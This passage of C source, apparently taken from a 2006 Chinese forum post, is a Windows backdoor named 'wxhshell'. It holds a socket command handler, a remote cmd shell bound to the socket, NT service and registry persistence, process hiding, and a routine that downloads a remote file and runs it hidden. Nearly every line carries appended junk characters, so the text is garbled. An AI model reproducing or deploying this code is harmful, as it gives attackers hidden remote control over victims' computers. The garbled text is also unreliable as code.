Q^#;WASi  
    switch(cmd[0]) { ]X^rU`":  
  t8dm)s[r8  
  // 帮助 IqD_GL)Ms  
  case '?': { M-giR:,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AqV7\gdOC  
    break; pi ,eIm  
  } o5Q{/  
  // 安装 y8rm  
  case 'i': { /<]{KI  
    if(Install()) ?G -e](]^<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _C`K*u 6Z<  
    else sUU{fNC6|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x(eb5YS  
    break; ruazOmnn~  
    } mzf+Cu:` v  
  // 卸载 FG) $y[*  
  case 'r': { l@ap]R  
    if(Uninstall()) oD$J0{K6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >`%'4<I  
    else 7K5P8N ,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P`e!Z:  
    break; r9ww.PpNk#  
    } "1HRLci  
  // 显示 wxhshell 所在路径 wV ^V]c?U  
  case 'p': { m2v'WY5u  
    char svExeFile[MAX_PATH]; |\g5+fv9  
    strcpy(svExeFile,"\n\r"); \ 5,MyB2/`  
      strcat(svExeFile,ExeFile); ~PHB_cyth  
        send(wsh,svExeFile,strlen(svExeFile),0); B!\;/Vk  
    break; 7%{ |  
    } *7wAkljP  
  // 重启 =F;.l@:  
  case 'b': { :bC40@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z>^pCc\lH  
    if(Boot(REBOOT)) `2PLWo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ti<;7Yb  
    else { f0BdXsV#g  
    closesocket(wsh); ^J\~XYg{7  
    ExitThread(0); `ck$t5:6sp  
    } ,Uy|5zv  
    break; j7)Ao*WN  
    } b&5lYp"d  
  // 关机 UF@XK">  
  case 'd': { P'O#I}Dmw<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E_bO9nRHV  
    if(Boot(SHUTDOWN)) Y "VY%S^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PxfY&;4n!  
    else { z$kenhFG/  
    closesocket(wsh); J:kmqk!  
    ExitThread(0); \l@,B +)  
    } xu'yVt9RC  
    break; $]rj73p^tH  
    } {pHM},WJ  
  // 获取shell dS5a  
  case 's': { l}lIi8  
    CmdShell(wsh); g{P%s'%*  
    closesocket(wsh); P8?Fm`  
    ExitThread(0); pm9%%M$  
    break; gB4U*D0[e~  
  } +a*^{l}AST  
  // 退出 (S v~2  
  case 'x': { $&2UTczp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j8sH#b7Z  
    CloseIt(wsh); /-i !;!  
    break; 6HlePTf8  
    } ,yTjU{<"  
  // 离开 <fs2fTUeqF  
  case 'q': { s\P2Bp_{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2^^=iU=!<|  
    closesocket(wsh); d`/tE?Gw  
    WSACleanup(); G7CG~:3h+  
    exit(1); zH*KYB  
    break; %zO h  
        } Y!T %cTK)a  
  } }YHX-e<Yx]  
  } lbuAE%  
Y X_ gb/A  
  // 提示信息 v$ub~Q6W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $/7pYl\n  
} +Lnsr\BA  
  } ku..aG`  
hnznp1[#@  
  return; wGZR31  
} \{EpduwZ  
&wB\ ~Ie-  
// shell模块句柄 :(H>2xS,s  
int CmdShell(SOCKET sock) Zx d~c]n  
{ Z?O *'#yn  
STARTUPINFO si; {b@KYR9K  
ZeroMemory(&si,sizeof(si)); BY]i;GVq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p^pOuy8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OGY"<YH6  
PROCESS_INFORMATION ProcessInfo; chEn|>~  
char cmdline[]="cmd"; z-c}NdW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N72Yq)(  
  return 0; L =8+_0  
} ?Q72;/$  
i:l<C  
// 自身启动模式 ":nQgV\ 9  
int StartFromService(void) $*W6A/%O  
{ hbc uK&  
typedef struct "C*B,D*}:  
{ w` DW(hXJ  
  DWORD ExitStatus; bUY>st'  
  DWORD PebBaseAddress; `w.AQ?p@  
  DWORD AffinityMask; {Ixg2=E\  
  DWORD BasePriority; X7g3  
  ULONG UniqueProcessId; 8Mbeg ,P  
  ULONG InheritedFromUniqueProcessId; x+G0J8cW  
}   PROCESS_BASIC_INFORMATION; nIvJrAm4k  
oY=q4D  
PROCNTQSIP NtQueryInformationProcess; _A~4NW{U7  
.uEPnzi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g%k`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >g;kJe  
GAc{l=vT'  
  HANDLE             hProcess; wWXD\{Hk  
  PROCESS_BASIC_INFORMATION pbi; F]I=+T   
;zdxs'hJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gx 72  
  if(NULL == hInst ) return 0; W#Qmv^StZ  
~RD+.A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b,IocD6v;P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |~ _'V "  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^bLRVp1  
8_!.!Kde |  
  if (!NtQueryInformationProcess) return 0; v{ <[)cr  
 P5gN#G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [+Y{%U  
  if(!hProcess) return 0; DE IB!n   
LA[g(i 7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jp+_@S>  
Pe2wsR"_U  
  CloseHandle(hProcess); dr<<!q /  
i7LJ&g/)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cUO<.  
if(hProcess==NULL) return 0; {ccIxL /~  
<A.W 8b7D  
HMODULE hMod; 1JEnnqu  
char procName[255]; wdvLx  
unsigned long cbNeeded; "3F;cCDv]  
OD=!&LM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #pHs@uvO  
_U{&@}3  
  CloseHandle(hProcess); &J!aw  
6q>+!kXh  
if(strstr(procName,"services")) return 1; // 以服务启动 CD0VfA>Z  
)R sM!}  
  return 0; // 注册表启动 Xe+,wW3YF  
} LC0d/hM  
|*mL1#bB  
// 主模块 Xes|[*Y!V  
int StartWxhshell(LPSTR lpCmdLine) |7@O( $b  
{ AddeaB5<  
  SOCKET wsl; *XWq?hi  
BOOL val=TRUE; \VSATL:]  
  int port=0; >b.^kc  
  struct sockaddr_in door; /b;K  
j!z-)p8hy  
  if(wscfg.ws_autoins) Install(); C_LvZ=  
aJqeD'\>  
port=atoi(lpCmdLine); !rhk $ L  
eb|i 3.  
if(port<=0) port=wscfg.ws_port; $c&0F,   
a8AYcE b  
  WSADATA data; yA[({2%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x&A vUJ  
+!0eu>~_&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [4J6 iF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); De_C F8  
  door.sin_family = AF_INET; V#q}Wysft  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MP>n)!R[`  
  door.sin_port = htons(port); e &9F\e  
@uH#qg7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _DP|-bp D  
closesocket(wsl); ~svO*o Wa  
return 1; V,ZY*f0  
} m?[5J)eR  
H0"=Vs,n  
  if(listen(wsl,2) == INVALID_SOCKET) { "gW7<ilw  
closesocket(wsl);  8%RI7Mg  
return 1; D,ly#Nn  
} OVk ~N)  
  Wxhshell(wsl); uENdI2EY8y  
  WSACleanup(); M*pRv  
=22ALlxk  
return 0; A 699FQ  
B8I4[@m>w\  
} SNT5Amz!  
tK%c@gGU9  
// 以NT服务方式启动 $(q>mg:H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N6Z{BLZ  
{ ]|:uU  
DWORD   status = 0; vs&8wbS)  
  DWORD   specificError = 0xfffffff; _U)%kY8  
i z]rFNR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rSV gWr8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !Ngw\@f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KbxR Lx]w  
  serviceStatus.dwWin32ExitCode     = 0; IJU0[EA]F  
  serviceStatus.dwServiceSpecificExitCode = 0; `&$B3)Eb  
  serviceStatus.dwCheckPoint       = 0; R UTnc  
  serviceStatus.dwWaitHint       = 0; qI3NkVA'C  
G6`J1Uk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V7t!?xOL  
  if (hServiceStatusHandle==0) return; BC\S/5~k  
l!IKUzt)7  
status = GetLastError(); 99iUOw c  
  if (status!=NO_ERROR) hh.Q\qhubB  
{ #-cTc&$O;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *9gD*AnM,  
    serviceStatus.dwCheckPoint       = 0; gY9\o#)<  
    serviceStatus.dwWaitHint       = 0; sY;lt.b  
    serviceStatus.dwWin32ExitCode     = status; J7i+c];!<  
    serviceStatus.dwServiceSpecificExitCode = specificError; g.Hio.fVd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R21~Q:b !  
    return; u@.>WHQN  
  } VS/;aG$&y  
PK rek  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $R^lo $(  
  serviceStatus.dwCheckPoint       = 0; #2%([w  
  serviceStatus.dwWaitHint       = 0; M2T|"Q"=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [B6DC`M  
} qs=tJ ^<<o  
d$;/T('  
// 处理NT服务事件,比如:启动、停止 s\0Ko1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @%W]".*'}  
{ Yr&Ka:  
switch(fdwControl) @C.GKeM*  
{ Nw](".  
case SERVICE_CONTROL_STOP: C9KWa*3  
  serviceStatus.dwWin32ExitCode = 0; S_8r\B[>P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &/ ouW'oP  
  serviceStatus.dwCheckPoint   = 0; !E& MBAKy  
  serviceStatus.dwWaitHint     = 0; =l`OHTg  
  { W8aU "_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xRX>|S  
  } >#N[GrJAE  
  return; h[=nx^  
case SERVICE_CONTROL_PAUSE: 6f] rQ9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u.6P-yh  
  break; u3ds QU  
case SERVICE_CONTROL_CONTINUE: .2X2b<%)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vD=%`G[m  
  break;  H+cNX\,  
case SERVICE_CONTROL_INTERROGATE: ` Q9+k<  
  break; g#W_S?  
}; M#0 @X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7U:=~7GH  
} 6[==BbZ  
,d 7Z  
// 标准应用程序主函数 +8^_D?*\n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^g!B.ll`  
{ vg^Myn   
O{n<WQd{CY  
// 获取操作系统版本 A8dI:E+$  
OsIsNt=GetOsVer(); 8wF#e\Va0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &=-PRza%j  
o'qm82* =  
  // 从命令行安装 vR]mSX3)?  
  if(strpbrk(lpCmdLine,"iI")) Install(); u@D .i4U  
k!E"wJkpz  
  // 下载执行文件 F";FG 0  
if(wscfg.ws_downexe) { 1VfSSO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #pu}y,QN$  
  WinExec(wscfg.ws_filenam,SW_HIDE); o =9'  
} YsAF{  
k|#Zy,  
if(!OsIsNt) { #?m{YT{P  
// 如果时win9x,隐藏进程并且设置为注册表启动 -2lRia  
HideProc(); *ro.mQ_  
StartWxhshell(lpCmdLine); 3A R%&:-  
} ]p$zvMf}  
else MFTC6L+T  
  if(StartFromService()) k!13=Gh  
  // 以服务方式启动 fq Y1ggL  
  StartServiceCtrlDispatcher(DispatchTable); 3'@&c?F ye  
else & s-VSu7  
  // 普通方式启动 jYdV?B  
  StartWxhshell(lpCmdLine); ;](h2Z`3s  
#>q[oie1e  
return 0; W uf/LKj  
}
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只看该作者 1 发表于: 2006-10-10
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